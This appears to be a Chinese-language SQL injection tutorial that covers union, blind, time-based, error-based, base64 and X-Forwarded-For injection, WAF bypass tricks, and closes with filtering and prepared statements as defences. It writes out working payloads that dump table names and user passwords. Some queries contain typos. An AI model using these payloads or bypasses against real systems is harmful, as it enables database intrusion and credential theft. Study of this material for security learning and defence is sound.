SQL注入:通過可輸入/修改sql參數實現攻擊的過程
文章目錄
- 0x00 SQL注入漏洞原理
- 0x01 前置知識
- 1 SQL注入分類
- 2 數據庫知識
- 0x02 是否存在SQL注入?
- 0x03 不同SQL注入
- 1. Union注入
- 2. 盲注Blind
- 3. base64注入
- 0x04 SQL注入繞過技術
- 0x05 SQL防注入
0x00 SQL注入漏洞原理
滿足2條件:
? 參數用戶可控、參數帶入數據庫查詢
0x01 前置知識
1 SQL注入分類
- Union注入
- Boolean
- 報錯
- 盲注
- …
2 數據庫知識
mysql 5.0后1庫3張表和字段:
Information_schma
表名:Information_schma.schemata表名:Information_schma.TABLES 字段:TABLE_SCHEMA(庫)和TABLE_NAME(表)表名:Information_schma.COLUMNS 字段:TABLE_SCHEMA(庫)和TABLE_NAME(表)和BOLUMN_NAME(字段)
函數及注釋:
-
limit函數:limit 0,1 :第0行開始,取1條記錄
-
Database():當前網站使用的數據庫
-
Version():當前MySQL版本
-
User():當前MySQL的用戶
-
注釋符:# 、 – 、 /**/
-
內聯注釋:
/*!code*/ 用來執行我們的sql語句 示例: Index.php?id=-15 /*!UNION#/ /*!SELECT*/ 1,2,3
0x02 是否存在SQL注入?
1
1'
1 and 1=1
1 and 1=2
"1 and 1=1"的Reply和1的一致,"1 and 1=2"和1的Reply和1的不一致,說明存在SQL注入。
0x03 不同SQL注入
1. Union注入
? 第一步:判斷是否存在注入
原理:1和1and 1=1 返回結果一致
參考:如果order by也可執行的話,sql注入優先考慮 union注入
參考2:堆疊查詢注入與union注入相似
#只是堆疊的是另一條查詢語句
1' ;select if(substr(user(),1,1)='v',sleep(5),1) %23
? union后續步驟
- 注入的sql語句中字段個數: order by 字段數
1' order by 1
- 回顯字段的記錄:
注意:mysql聯合查詢每個 SELECT 語句的列數和對應位置的數據類型必須相同。
unsion select 1,2
示例:
SELECT first_name, last_name FROM users WHERE user_id = 1 union select 1,2
/*
結果為first_name, last_name和記錄是1,2的記錄聯合查詢,
我們要把1,2當作列使用, 解決:最好是同一張表的字段名(因為有相同行數)
所以在表查詢中2位置可替換為 函數
直接查database()結果為 記錄數的行數條的數據庫名
*/
- 找指定記錄
當前數據庫,當前庫中表,當前表中字段,知道字段替換1,2名稱
#當前數據庫名
1' union select 1,database() #
#當前庫中表名
1' union select 1,table_name from information_schema.tables where table_schema=database() #
# 當前表字段
1' union select 1,column_name from information_schema.columns where table_name='users' #
查所需數據
#此時可以替換union select 1,2 的2處位置
1' union select user,password from users #
2. 盲注Blind
原理:回顯為 是或否 及類似 方式
分類:
本人覺得如:報錯注入(yes/no)、時間盲注(response時間)都可歸為一種,但利用的方法不同。
只是利用了server的 response 或者 反應機制。
利用方法:
length(database())和substr(database(),1,1)='d'
updatexml(1,concat(0x7e,(select user()),0x7e),1)
sleep()或benchmark()#如if(length(database())>1,sleep(5),1)
步驟前提:存在SQL注入
#本示例參數為規律性ID序號
1
1' and 1=1 #
1' and 1=2 #
步驟:
數據庫名,表名,記錄內容
#判斷數據庫名長度
1' and length(database()) >=1 #
#數據庫名
1' and substr(database(),1,1)='d' #substr:截取第1個字符,返回1個
或 1' and ord(substr(database(),1,1))=115 #
/**
第2種時ASCII碼的字符,ord函數轉換
可以考慮用Burp爆破字典
**/
# 表名、字段,記錄
# 每個表名,每個表名字符都需挨個檢查。推薦字典爆破。
1' and substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1)='g' #
/**
表名,字段名知道后,依然是對 關鍵的記錄 進行 字符判斷
**/
1' and substr((select password from users where xx=xx),limit 0,1)1,1) #
3. base64注入
原理:發送請求message時參數通過 url 編碼如base64編碼方式。(%3d是base64編碼的顯著特征)
解決:只要知道特殊字符的base64編碼和union注入即可。
?
利用場景:
?url + union 繞過WAF: 對參數ID的檢查。
XFF注入
? X-Forwarded-for:客戶端真實IP。一個HTTP協議拓展頭,
? 可設置其值,127.0.0.1’ 1=1 # 其他類似union注入
0x04 SQL注入繞過技術
#判斷是否存在SQL注入的步驟
1
1'
1 and 1=1
1 and 1=2
/**
當1'和1回顯不一致,1 and 1=1通過且和1 的結果一致,說明存在SQL注入
但是1 and 1=1 ,和前兩者的返回都不一樣且報錯,說明什么?
關鍵字被過濾:如and、or、order by、
思考:被誰過濾?關鍵字的過濾放置到WAF/前端/后端?
bypass繞過方式:
- 關鍵字大小寫繞過
對關鍵字如and …改變字符大小寫。如:改為:And嘗試繞過。 - 關鍵字雙寫繞過
?如關鍵字and被過濾,使用 anandd - 編碼繞過
服務器對URL解碼一次,所以對URL全編碼時編碼2次,如只過濾關鍵字可只編碼關鍵字 - 內聯注釋繞過
與mysql的內聯注釋符/!and/相關。
如:id=1/*!and*/ 1=1
0x05 SQL防注入
防注入方式:
-
過濾危險字符
(如發現一些關鍵字(and、sleep等其他函數)則退出程序)
? 注:一定程度可防止SQL注入,但仍然可以繞過 -
預編譯sql語句
? (對數據庫增刪改查時不直接查詢,而是使用占位符,對參數進行檢查后,再進行語句)